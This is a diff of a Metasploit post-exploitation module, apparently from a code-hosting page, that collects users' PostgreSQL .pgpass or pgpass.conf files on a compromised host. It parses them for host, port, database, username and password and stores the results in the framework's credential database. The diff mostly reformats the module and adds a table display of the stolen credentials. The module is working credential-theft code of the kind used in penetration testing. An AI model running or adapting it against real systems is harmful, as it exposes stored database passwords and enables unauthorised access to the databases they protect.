1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
1
8
require 'msf/core'
2
- require 'rex'
3
9
require 'msf/core/post/file'
4
10
require 'msf/core/post/common'
5
11
require 'msf/core/post/unix'
@@ -14,16 +20,15 @@ class Metasploit3 < Msf::Post
14
20
15
21
def initialize ( info = { } )
16
22
super ( update_info ( info ,
17
- 'Name' => 'Multi Gather pgpass Credentials' ,
18
- 'Description' => %q{
23
+ 'Name' => 'Multi Gather pgpass Credentials' ,
24
+ 'Description' => %q{
19
25
This module will collect the contents of user's .pgpass or pgpass.conf and
20
- parse them for credentials. This module is largely based on firefox_creds.rb and
21
- ssh_creds.rb.
26
+ parse them for credentials.
22
27
} ,
23
- 'License' => MSF_LICENSE ,
24
- 'Author' => [ 'Zach Grace <zgrace[at]403labs.com>' ] ,
25
- 'Platform' => %w[ linux bsd unix osx win ] ,
26
- 'SessionTypes' => %w[ meterpreter shell ]
28
+ 'License' => MSF_LICENSE ,
29
+ 'Author' => [ 'Zach Grace <zgrace[at]403labs.com>' ] ,
30
+ 'Platform' => %w[ linux bsd unix osx win ] ,
31
+ 'SessionTypes' => %w[ meterpreter shell ]
27
32
) )
28
33
end
29
34
@@ -43,7 +48,7 @@ def run
43
48
grab_user_profiles . select do |user |
44
49
f = "#{ user [ 'AppData' ] } \\ postgresql\\ pgpass.conf"
45
50
if user [ 'AppData' ] && file? ( f )
46
- files << f
51
+ files << f
47
52
end
48
53
end
49
54
else
@@ -68,6 +73,12 @@ def run
68
73
69
74
# Store the creds to
70
75
def parse_creds ( f )
76
+ cred_table = Rex ::Ui ::Text ::Table . new (
77
+ 'Header' => 'Postgres Data' ,
78
+ 'Indent' => 1 ,
79
+ 'Columns' => [ 'Host' , 'Port' , 'DB' , 'User' , 'Password' ]
80
+ )
81
+
71
82
read_file ( f ) . each_line do |entry |
72
83
ip , port , db , user , pass = entry . chomp . split ( /:/ , 5 )
73
84
@@ -93,21 +104,26 @@ def parse_creds(f)
93
104
end
94
105
95
106
pass = p
96
- print_good ( "Retrieved postgres creds #{ ip } : #{ port } / #{ db } #{ user } : #{ pass } " )
107
+ cred_table << [ ip , port , db , user , pass ]
97
108
98
109
cred_hash = {
99
- host : session . session_host ,
100
- port : port ,
101
- user : user ,
102
- pass : pass ,
103
- ptype : "password" ,
104
- sname : "postgres" ,
105
- source_type : "Cred" ,
106
- duplicate_ok : true ,
107
- active : true
110
+ :host => session . session_host ,
111
+ :port => port ,
112
+ :user => user ,
113
+ :pass => pass ,
114
+ :ptype => "password" ,
115
+ :sname => "postgres" ,
116
+ :source_type => "Cred" ,
117
+ :duplicate_ok => true ,
118
+ :active => true
108
119
}
109
120
110
121
report_auth_info ( cred_hash )
111
122
end
123
+
124
+ if not cred_table . rows . empty?
125
+ print_line
126
+ print_line ( cred_table . to_s )
127
+ end
112
128
end
113
129
end
0 commit comments